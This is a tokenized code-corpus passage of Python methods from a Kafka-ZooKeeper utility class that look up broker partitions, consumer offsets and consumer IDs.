"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "broker", "\\u", "partit", "ion", "s", "\\u", "for_", "(_", "self_", ",_", "topic_", ",_", "force", "\\u", "partit", "ion", "\\u", "zero_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "a", " ", "list", " ", "of", " ", "Broker", "Partition", "s", " ", "based", " ", "on", " ", "values", " ", "found", " ", "in", " ", "\\", "10", ";", " ", " ", " ", " ", "Zoo", "Keep", "er", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "you", " ", "set", " ", "force", "\\u", "partit", "ion", "\\u", "zero", "=", "Tru", "e", ",", " ", "we", " ", "will", " ", "alw", "ay", "s", " ", "return", " ", "partit", "ion", " ", "\\", "10", ";", " ", " ", " ", " ", "0", " ", "of", " ", "a", " ", "broker", ",", " ", "even", " ", "if", " ", "no", " ", "topic", " ", "has", " ", "bee", "n", " ", "created", " ", "for", " ", "it", " ", "ye", "t", ".", " ", "Consume", "rs", "\\", "10", ";", " ", " ", " ", " ", "don", "'", "t", " ", "need", " ", "this", ",", " ", "bec", "aus", "e", " ", "it", " ", "means", " ", "there", "'", "s", " ", "not", "hing", " ", "there", " ", "to", " ", "read", " ", "anyway", ".", "\\", "10", ";", " ", " ", " ", " ", "Bu", "t", " ", "Producer", "s", " ", "need", " ", "to", " ", "be", " ", "bootstrapp", "ed", " ", "with", " ", "it", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "broker", "\\u", "ids", " ", "first", "..._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "force", "\\u", "partit", "ion", "\\u", "zero_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "broker", "\\u", "ids_", "=_", "self_", "._", "all", "\\u", "broker", "\\u", "ids_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "broker", "\\u", "ids_", "=_", "self_", "._", "broker", "\\u", "ids", "\\u", "for_", "(_", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "log", ".", "debug", "(", "u", "\"", "broker", "\\u", "ids", ":", " ", "{", "0", "}\"", ".", "format", "(", "broker", "\\u", "ids", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "n", " ", "the", " ", "broker", "\\u", "string", "s", " ", "for", " ", "each", " ", "broker_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "broker", "\\u", "paths_", "=_", "map_", "(_", "self_", "._", "path", "\\u", "for", "\\u", "broker_", ",_", "broker", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "log", ".", "debug", "(", "u", "\"", "broker", "\\u", "path", "s", ":", " ", "{", "0", "}\"", ".", "format", "(", "broker", "\\u", "path", "s", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "broker", "\\u", "strings_", "=_", "map_", "(_", "self_", "._", "\\u", "zk", "\\u", "properties_", ",_", "broker", "\\u", "paths_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "log", ".", "debug", "(", "u", "\"", "broker", "\\u", "string", "s", ":", " ", "{", "0", "}\"", ".", "format", "(", "broker", "\\u", "string", "s", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "n", " ", "the", " ", "num", "\\u", "part", "s", " ", "per", " ", "broker", " ", "(", "each", " ", "coul", "d", " ", "be", " ", "set", " ", "different", "ly", ")_", "\\u\\u\\uNL\\u\\u\\u_", "broker", "\\u", "topic", "\\u", "paths_", "=_", "[_", "self_", "._", "path", "\\u", "for", "\\u", "broker", "\\u", "topic_", "(_", "broker", "\\u", "id_", ",_", "topic_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "broker", "\\u", "id_", "in_", "broker", "\\u", "ids_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Every", " ", "broker", " ", "has", " ", "at", " ", "leas", "t", " ", "one", " ", "partit", "ion", ",", " ", "even", " ", "if", " ", "it", "'", "s", " ", "not", " ", "published_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "parts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "broker", "\\u", "topic", "\\u", "paths_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "broker", "\\u", "parts_", "=_", "self_", "._", "\\u", "zk", "\\u", "properties_", "(_", "p_", ")_", "if_", "self_", "._", "\\u", "zk_", "._", "exists_", "(_", "p_", ")_", "else_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "parts_", "._", "append_", "(_", "broker", "\\u", "parts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "log", ".", "debug", "(", "u", "\"", "num", "\\u", "part", "s", ":", " ", "{", "0", "}\"", ".", "format", "(", "num", "\\u", "part", "s", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Broker", "Partition_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "list_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "chain_", "._", "from", "\\u", "iterable_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Broker", "Partition_", "._", "from", "\\u", "zk_", "(_", "broker", "\\u", "id_", ",_", "broker", "\\u", "string_", ",_", "topic_", ",_", "n_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "broker", "\\u", "id_", ",_", "broker", "\\u", "string_", ",_", "n_", "\\u\\u\\uNL\\u\\u\\u_", "in_", "zip_", "(_", "broker", "\\u", "ids_", ",_", "broker", "\\u", "strings_", ",_", "num", "\\u", "parts_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "offset", "s", "\\u", "state_", "(_", "self_", ",_", "consume", "r", "\\u", "group_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "For", " ", "a", " ", "give", "n", " ", "consume", "r", "\\u", "group", ",", " ", "get", " ", "back", " ", "a", " ", "ZK", " ", "state", " ", "dict", " ", "tha", "t", " ", "look", "s", " ", "like", ":", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "topic", "1", "\"", " ", ":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "1", "-0", "\"", " ", ":", " ", "1002", "830", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "1", "-1", "\"", " ", ":", " ", "1201", "221", ",", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "\"", "2", "-0", "\"", " ", ":", " ", "323", "244", "5", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "2", "-1", "\"", " ", ":", " ", "230", "949", "5", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "\"", "topic", "2", "\"", " ", ":", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "1", "-0", "\"", " ", ":", " ", "1002", "830", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "1", "-1", "\"", " ", ":", " ", "1201", "221", ",", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "\"", "2", "-0", "\"", " ", ":", " ", "323", "244", "5", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "2", "-1", "\"", " ", ":", " ", "230", "949", "5", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Keys", " ", "are", " ", "topic", " ", "names", " ", "for", " ", "tha", "t", " ", "consume", "r", " ", "group", ",", " ", "and", " ", "the", " ", "values", " ", "are", " ", "the", " ", "\\", "10", ";", " ", " ", " ", " ", "child", "ren", " ", "in", " ", "Zoo", "Keep", "er", " ", "--", " ", "other", " ", "dict", "s", " ", "with", " ", "keys", " ", "tha", "t", " ", "are", " ", "\\", "10", ";", " ", " ", " ", " ", "{", "broker", "\\u", "id", "}-", "{", "partit", "ion", "\\u", "id", "}", " ", "to", " ", "offset", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "topic", "\\u", "offsets_", "(_", "topic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "broker", "\\u", "part", "s", "\\u", "path_", "=_", "self_", "._", "path", "\\u", "for", "\\u", "offsets_", "(_", "consume", "r", "\\u", "group_", ",_", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "broker", "\\u", "parts_", "=_", "self_", "._", "\\u", "zk", "\\u", "children_", "(_", "broker", "\\u", "part", "s", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "dict_", "(_", "(_", "bp_", ",_", "int_", "(_", "self_", "._", "\\u", "zk", "\\u", "properties_", "(_", "broker", "\\u", "part", "s", "\\u", "path_", "+_", "\"/\"_", "+_", "bp_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "bp_", "in_", "broker", "\\u", "parts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "state_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "topics_", "=_", "self_", "._", "\\u", "zk", "\\u", "children_", "(_", "\"/", "consumers", "/{", "0", "}/", "offset", "s", "\"_", "._", "format_", "(_", "consume", "r", "\\u", "group_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "topic_", "in_", "topics_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "[_", "topic_", "]_", "=_", "topic", "\\u", "offsets_", "(_", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "offset", "s", "\\u", "for_", "(_", "self_", ",_", "consume", "r", "\\u", "group_", ",_", "consume", "r", "\\u", "id_", ",_", "broker", "\\u", "partitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "a", " ", "dictionar", "y", " ", "mapping", " ", "broker", "\\u", "partit", "ion", "s", " ", "to", " ", "offset", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UNK", "NOW", "N", "\\u", "OFFSET_", "=_", "2_", "**_", "63_", "-_", "1_", "#", " ", "Long", ".", "MAX", "\\u", "VALU", "E", ",", " ", "it", "'", "s", " ", "what", " ", "Ka", "fk", "a", "'", "s", " ", "client", " ", "doe", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bps", "\\u", "to", "\\u", "offsets_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "bp_", "in_", "broker", "\\u", "partitions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "topic", " ", "mig", "ht", " ", "not", " ", "exist", " ", "at", " ", "all", ",", " ", "in", " ", "whi", "ch", " ", "case", " ", "no", " ", "broker", " ", "has", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "anyt", "hing", ",", " ", "so", " ", "there", "'", "s", " ", "no", " ", "point", " ", "in", " ", "mak", "ing", " ", "the", " ", "offset", "s", " ", "nodes", " ", "and", " ", "suc", "h_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "zk_", "._", "exists_", "(_", "self_", "._", "path", "\\u", "for", "\\u", "topic_", "(_", "bp_", "._", "topic_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset", "\\u", "path_", "=_", "self_", "._", "path", "\\u", "for", "\\u", "offset_", "(_", "consume", "r", "\\u", "group_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bp_", "._", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bp_", "._", "broker", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bp_", "._", "partition_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "offset_", "=_", "int_", "(_", "self_", "._", "\\u", "zk", "\\u", "properties_", "(_", "offset", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zookeeper", "_", "._", "No", "Node", "Exception_", "as_", "ex_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "counter", " ", "to", " ", "the", " ", "Ka", "fk", "a", " ", "client", " ", "behavior", ",", " ", "put", " ", "here", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simpli", "city", " ", "for", " ", "now", ".", " ", "FIX", "ME", ":", " ", "Dav", "e_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "create", "\\u", "path", "\\u", "if", "\\u", "needed_", "(_", "offset", "\\u", "path_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bps", "\\u", "to", "\\u", "offsets_", "[_", "bp_", "]_", "=_", "offset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "bps", "\\u", "to", "\\u", "offsets_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "offset", "s", "\\u", "for_", "(_", "self_", ",_", "consume", "r", "\\u", "group_", ",_", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bp", "\\u", "ids", "\\u", "to", "\\u", "offsets_", "=_", "sorted_", "(_", "(_", "bp_", "._", "id_", ",_", "offset_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "bp_", ",_", "offset_", "in_", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", "._", "items_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "debug_", "(_", "\"", "Sav", "ing", " ", "offset", "s", " ", "{", "0", "}\"_", "._", "format_", "(_", "bp", "\\u", "ids", "\\u", "to", "\\u", "offsets_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "bp_", ",_", "next", "\\u", "offset_", "in_", "sorted_", "(_", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", "._", "items_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "topic", " ", "mig", "ht", " ", "not", " ", "exist", " ", "at", " ", "all", ",", " ", "in", " ", "whi", "ch", " ", "case", " ", "no", " ", "broker", " ", "has", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "anyt", "hing", ",", " ", "so", " ", "there", "'", "s", " ", "no", " ", "point", " ", "in", " ", "mak", "ing", " ", "the", " ", "offset", "s", " ", "nodes", " ", "and", " ", "suc", "h_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "zk_", "._", "exists_", "(_", "self_", "._", "path", "\\u", "for", "\\u", "topic_", "(_", "bp_", "._", "topic_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset", "\\u", "path_", "=_", "self_", "._", "path", "\\u", "for", "\\u", "offset_", "(_", "consume", "r", "\\u", "group_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bp_", "._", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bp_", "._", "broker", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bp_", "._", "partition_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "offset", "\\u", "node_", "=_", "self_", "._", "\\u", "zk_", "._", "properties_", "(_", "offset", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zookeeper", "_", "._", "No", "Node", "Exception_", "as_", "ex_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "create", "\\u", "path", "\\u", "if", "\\u", "needed_", "(_", "offset", "\\u", "path_", ",_", "bp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset", "\\u", "node_", "=_", "self_", "._", "\\u", "zk_", "._", "properties_", "(_", "offset", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "next", "\\u", "offset_", "=_", "0_", "#", " ", "If", " ", "we", "'", "re", " ", "creati", "ng", " ", "the", " ", "node", " ", "now", ",", " ", "assume", " ", "we", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "need", " ", "to", " ", "start", " ", "at", " ", "0.", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Non", "e", " ", "is", " ", "the", " ", "default", " ", "value", " ", "whe", "n", " ", "we", " ", "don", "'", "t", " ", "know", " ", "what", " ", "the", " ", "next_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "offset", " ", "is", ",", " ", "possib", "ly", " ", "bec", "aus", "e", " ", "the", " ", "Messag", "e", "Set", " ", "is", " ", "empty", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "next", "\\u", "offset_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "log_", "._", "debug_", "(_", "\"", "Node", " ", "%", "s", ":", " ", "setti", "ng", " ", "to", " ", "%", "s", "\"_", "%_", "(_", "offset", "\\u", "node_", ",_", "next", "\\u", "offset_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset", "\\u", "node_", "._", "set_", "(_", "string", "\\u", "value_", "=_", "str_", "(_", "next", "\\u", "offset_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "broker", "\\u", "ids", "\\u", "for_", "(_", "self_", ",_", "topic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "topic", "\\u", "path_", "=_", "self_", "._", "path", "\\u", "for", "\\u", "topic_", "(_", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "topic", "\\u", "node", "\\u", "children_", "=_", "self_", "._", "\\u", "zk", "\\u", "children_", "(_", "topic", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zookeeper", "_", "._", "No", "Node", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "warn_", "(_", "u", "\"", "Cou", "ld", "n", "'", "t", " ", "find", " ", "{", "0", "}", " ", "-", " ", "No", " ", "broker", "s", " ", "have", " ", "topic", " ", "{", "1", "}", " ", "ye", "t", "?\"_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "topic", "\\u", "path_", ",_", "topic_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "sorted_", "(_", "int_", "(_", "broker", "\\u", "id_", ")_", "for_", "broker", "\\u", "id_", "in_", "topic", "\\u", "node", "\\u", "children_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "all", "\\u", "broker", "\\u", "ids_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "broker", "s", "\\u", "path_", "=_", "self_", "._", "path", "\\u", "for", "\\u", "broker", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "topic", "\\u", "node", "\\u", "children_", "=_", "self_", "._", "\\u", "zk", "\\u", "children_", "(_", "broker", "s", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zookeeper", "_", "._", "No", "Node", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "error_", "(_", "u", "\"", "Cou", "ld", "n", "'", "t", " ", "find", " ", "broker", "s", " ", "entry", " ", "{", "0", "}\"_", "._", "format_", "(_", "broker", "s", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "sorted_", "(_", "int_", "(_", "broker", "\\u", "id_", ")_", "for_", "broker", "\\u", "id_", "in_", "topic", "\\u", "node", "\\u", "children_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "consume", "r", "\\u", "ids", "\\u", "for_", "(_", "self_", ",_", "topic_", ",_", "consume", "r", "\\u", "group_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "For", " ", "a", " ", "give", "n", " ", "consume", "r", " ", "group", ",", " ", "return", " ", "a", " ", "list", " ", "of", " ", "all", " ", "consume", "r", "\\u", "ids", " ", "tha", "t", "\\", "10", ";", " ", " ", " ", " ", "are", " ", "currentl", "y", " ", "register", "ed", " ", "in", " ", "tha", "t", " ", "group", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", "s", " ", "the", " ", "ids", " ", "node", " ", "belo", "w", " ", "whi", "ch", " ", "are", " ", "all", " ", "consume", "r", "\\u", "ids", " ", "in", " ", "this", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "cg", "\\u", "path_", "=_", "self_", "._", "path", "\\u", "for", "\\u", "consume", "r", "\\u", "ids_", "(_", "consume", "r", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "consume", "r", "\\u", "ids", " ", "for", " ", "this", " ", "group", ",", " ", "but", " ", "not", " ", "all", " ", "of", " ", "them", " ", "are", " ", "necessar", "il", "y_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "interest", "ed", " ", "in", " ", "our", " ", "topic_", "\\u\\u\\uNL\\u\\u\\u_", "consume", "r", "\\u", "ids", "\\u", "in", "\\u", "group_", "=_", "sorted_", "(_", "self_", "._", "\\u", "zk", "\\u", "children_", "(_", "cg", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "consume", "r", "\\u", "id", "\\u", "paths_", "=_", "[_", "self_", "._", "path", "\\u", "for", "\\u", "consume", "r", "\\u", "id_", "(_", "consume", "r", "\\u", "group_", ",_", "consume", "r", "\\u", "id_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "consume", "r", "\\u", "id_", "in_", "consume", "r", "\\u", "ids", "\\u", "in", "\\u", "group_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "consume", "r", "\\u", "id", "\\u", "data_", "=_", "[_", "self_", "._", "\\u", "zk", "\\u", "properties_", "(_", "path_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "path_", "in_", "consume", "r", "\\u", "id", "\\u", "paths_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "[_", "consume", "r", "\\u", "id_", "for_", "consume", "r", "\\u", "id_", ",_", "data_", "\\u\\u\\uNL\\u\\u\\u_", "in_", "zip_", 